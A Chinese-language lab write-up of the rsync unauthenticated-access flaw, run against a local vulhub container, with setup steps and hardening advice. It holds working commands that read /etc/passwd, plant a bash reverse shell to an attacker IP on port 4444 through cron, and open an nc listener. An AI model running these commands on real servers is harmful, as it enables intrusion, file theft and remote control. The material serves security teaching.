1.漏洞名称

Rsync 未授权访问漏洞

2.漏洞原理

rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。 其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或 访问密码,我们将可以读写目标服务器文件。

3.漏洞利用

vulhub环境靶机 : 192.168.91.130
攻击机:kali 192.168.91.128

一、环境搭建

vulhub环境搭建
在纯净ubuntu中部署vulhub环境:

1、安装docker,并用docker -v命令验证安装结果;
curl -s https://get.docker.com/ | sh
  • 1

rsyncd 忽略log文件 rsync漏洞利用_配置文件

2、安装python-pip,并用pip -V命令验证安装结果;
sudo apt-get install python-pip
  • 1

rsyncd 忽略log文件 rsync漏洞利用_rsyncd 忽略log文件_02

3、安装docker-compose,并用docker-compose -v验证安装结果
pip install docker-compose
  • 1

rsyncd 忽略log文件 rsync漏洞利用_配置文件_03

4、将vulhub解压至ubuntu一个路径下:/vulhub-master/
5、进入到相应的漏洞下,docker-compose up -d命令启动容器,使用docker-compose down命令关闭容器。
cd /vulhub-master/rsync/common
sudo docker-compose build //建立
  • 1
  • 2

rsyncd 忽略log文件 rsync漏洞利用_docker_04

sudo docker-compose up
  • 1

rsyncd 忽略log文件 rsync漏洞利用_vim_05

二、Rsync非授权访问

可以对目标服务器进行扫描:

nmap -p 873 192.168.91.130
  • 1

扫描结果:

rsyncd 忽略log文件 rsync漏洞利用_配置文件_06


Rsync非授权访问利用

查看模块名列表:

rsync rsync://192.168.91.130:873/
  • 1

查看src模块

rsync rsync://192.168.91.130:873/src
  • 1

结果如下:

rsyncd 忽略log文件 rsync漏洞利用_rsyncd 忽略log文件_07


可以看到目标机器的目录已经被列举出来了:

利用方法

下载文件

rsync -av rsync://192.168.91.130/src/etc/passwd /root/passwd.txt
  • 1

执行结果:

rsyncd 忽略log文件 rsync漏洞利用_rsyncd 忽略log文件_08


rsyncd 忽略log文件 rsync漏洞利用_docker_09

上传文件反弹shell
查看crontab配置文件:

rsync rsync://192.168.91.130/src/etc/crontab
  • 1

下载crontab配置文件:

rsync -av rsync://192.168.91.130/src/etc/crontab /root/crontab.txt
  • 1

查看其内容:

rsyncd 忽略log文件 rsync漏洞利用_docker_10


rsyncd 忽略log文件 rsync漏洞利用_docker_11

其中

17 * * * * root cd / && run-parts --report /etc/cron.hourly
  • 1

表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令
shell 写法如下:

#!/bin/bash 
/bin/bash -i >& /dev/tcp/192.168.91.128/4444 0>&1
  • 1
  • 2

赋予执行权限:

chmod +x shell
  • 1

将shell上传至/etc/cron.hourly

rsync -av shell rsync://192.168.91.130/src/etc/cron.hourly
  • 1

本地监听:

nc -nvv -lp 4444
  • 1

实验可以自己去修改/etc/crontab配置文件
查看docker容器 ID

docker ps
  • 1

rsyncd 忽略log文件 rsync漏洞利用_docker_12


rsyncd 忽略log文件 rsync漏洞利用_vim_13

进入docker

sudo docker exec -it a6cb5e784225 bash
  • 1

rsyncd 忽略log文件 rsync漏洞利用_vim_14


打开/etc/crontab配置文件(vim自己安装。。)

vim /etc/crontab
  • 1

把时间修改成自己想要的就好

rsyncd 忽略log文件 rsync漏洞利用_rsyncd 忽略log文件_15


等待时间的到来即可。成功反弹shell

rsyncd 忽略log文件 rsync漏洞利用_配置文件_16

4.漏洞修复

vim /etc/rsync.conf

写入以下代码

hosts allow xxx.xxx.xxx.xxx
auth users = rsync
secrets file = /etc/rsyncd.passwd

新建一个文件

vim /etc/rsyncd.passwd
  • 1

按一下格式写入能登陆的用户名和密码

username :password
  • 1

就ok

</div>